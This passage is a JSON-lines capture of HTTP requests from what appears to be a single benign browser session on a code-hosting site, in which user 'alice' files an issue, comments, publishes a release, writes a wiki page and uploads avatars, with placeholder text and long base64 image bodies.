zlly1pzPnFPOOecr5zvnJ+c355Jzzbnl/OXcc55ynnNecl5ztjlvOe85u5yPnH3OIeeYPwAFQoFYIBXIBUqBWqLine truncated
|
|
||||||
{"method": "POST", "target": "/alice/tools/issues/new", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 1281", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypBVS0yCpwcYAG4g1", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/issues/new", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": "------WebKitFormBoundarypBVS0yCpwcYAG4g1\r\nContent-Disposition: form-data; name=\"title\"\r\n\r\nBuild fails on a clean checkout\r\n------WebKitFormBoundarypBVS0yCpwcYAG4g1\r\nContent-Disposition: form-data; name=\"content\"\r\n\r\nThe build stops after the first step. It works on the second try.\r\n------WebKitFormBoundarypBVS0yCpwcYAG4g1\r\nContent-Disposition: form-data; name=\"files\"\r\n\r\n179d62f5-4ae4-4e5e-9893-269ae399ca12\r\n------WebKitFormBoundarypBVS0yCpwcYAG4g1\r\nContent-Disposition: form-data; name=\"files_fullpath[179d62f5-4ae4-4e5e-9893-269ae399ca12]\"\r\n\r\nscreenshot.png\r\n------WebKitFormBoundarypBVS0yCpwcYAG4g1\r\nContent-Disposition: form-data; name=\"ref\"\r\n\r\n\r\n------WebKitFormBoundarypBVS0yCpwcYAG4g1\r\nContent-Disposition: form-data; name=\"edit_mode\"\r\n\r\ntrue\r\n------WebKitFormBoundarypBVS0yCpwcYAG4g1\r\nContent-Disposition: form-data; name=\"search\"\r\n\r\n\r\n------WebKitFormBoundarypBVS0yCpwcYAG4g1\r\nContent-Disposition: form-data; name=\"label_ids\"\r\n\r\n\r\n------WebKitFormBoundarypBVS0yCpwcYAG4g1\r\nContent-Disposition: form-data; name=\"milestone_id\"\r\n\r\n\r\n------WebKitFormBoundarypBVS0yCpwcYAG4g1\r\nContent-Disposition: form-data; name=\"project_id\"\r\n\r\n\r\n------WebKitFormBoundarypBVS0yCpwcYAG4g1\r\nContent-Disposition: form-data; name=\"assignee_ids\"\r\n\r\n\r\n------WebKitFormBoundarypBVS0yCpwcYAG4g1--\r\n"}
|
|
||||||
{"method": "POST", "target": "/-/fetch-redirect", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 38", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/issues/new", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": "redirect=%2Falice%2Ftools%2Fissues%2F1"}
|
|
||||||
{"method": "GET", "target": "/alice/tools/issues/1", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/issues/new", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/issues/1/content-history/overview", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/issues/1", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/attachments/179d62f5-4ae4-4e5e-9893-269ae399ca12", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice/tools/issues/1", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/issues/1", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "POST", "target": "/alice/tools/issues/1/comments", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 163", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryuLA6czyWTpPLGhxN", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/issues/1", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": "------WebKitFormBoundaryuLA6czyWTpPLGhxN\r\nContent-Disposition: form-data; name=\"content\"\r\n\r\nThanks, I can see it too.\r\n------WebKitFormBoundaryuLA6czyWTpPLGhxN--\r\n"}
|
|
||||||
{"method": "POST", "target": "/-/fetch-redirect", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 55", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/issues/1", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": "redirect=%2Falice%2Ftools%2Fissues%2F1%23issuecomment-1"}
|
|
||||||
{"method": "GET", "target": "/alice/tools/issues/1", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/issues/1", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/releases/new", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "POST", "target": "/alice/tools/releases/attachments", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 227", "Cache-Control: no-cache", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundarygH3DxdI69SJCwZ2b", "Origin: http://example.com", "Referer: http://example.com/alice/tools/releases/new", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": "------WebKitFormBoundarygH3DxdI69SJCwZ2b\r\nContent-Disposition: form-data; name=\"file\"; filename=\"tools-linux-amd64.tar.gz\"\r\nContent-Type: application/gzip\r\n\r\neJwryc/PKVZIysxLLKosGQFsAIkDYLk=\r\n------WebKitFormBoundarygH3DxdI69SJCwZ2b--\r\n"}
|
|
||||||
{"method": "POST", "target": "/alice/tools/releases/new", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 261", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/releases/new", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": "tag_name=v1.1.0&tag_target=main&title=Version+1.1.0&content=Faster+builds.&attachment-template-new-name=&attachment-template-new-exturl=&files=a637a7ba-b419-4ec3-8c33-1c119e93bc14&files_fullpath%5Ba637a7ba-b419-4ec3-8c33-1c119e93bc14%5D=tools-linux-amd64.tar.gz"}
|
|
||||||
{"method": "GET", "target": "/alice/tools/releases", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/releases/new", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/wiki/?action=_new", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "POST", "target": "/alice/tools/wiki/?action=_new", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 78", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/wiki/?action=_new", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": "title=Getting+started&content=Clone+the+repository+and+run+the+build.&message="}
|
|
||||||
{"method": "GET", "target": "/alice/tools/wiki/Getting-started", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/wiki/?action=_new", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/wiki/Getting-started", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/wiki/?action=_pages", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/user/settings", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "POST", "target": "/user/settings/avatar", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 4377", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryR5Mv0yttLbvaY13B", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/settings", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": "------WebKitFormBoundaryR5Mv0yttLbvaY13B\r\nContent-Disposition: form-data; name=\"avatar\"; filename=\"avatar.png\"\r\nContent-Type: image/png\r\n\r\n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 truncated
|
|
||||||
{"method": "GET", "target": "/user/settings", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/settings", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US; flash=success%3DYour%2Bavatar%2Bhas%2Bbeen%2Bupdated."], "body": ""}
|
|
||||||
{"method": "GET", "target": "/avatars/f9e66d43eb4888aac5d9d93745661631a09b4c73969226a3e89b2911ece215ba?size=64", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/user/settings", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/settings", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "POST", "target": "/alice/tools/settings/avatar", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 4377", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundarykD1bO7T1SED3rJ5v", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/settings", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": "------WebKitFormBoundarykD1bO7T1SED3rJ5v\r\nContent-Disposition: form-data; name=\"avatar\"; filename=\"avatar.png\"\r\nContent-Type: image/png\r\n\r\n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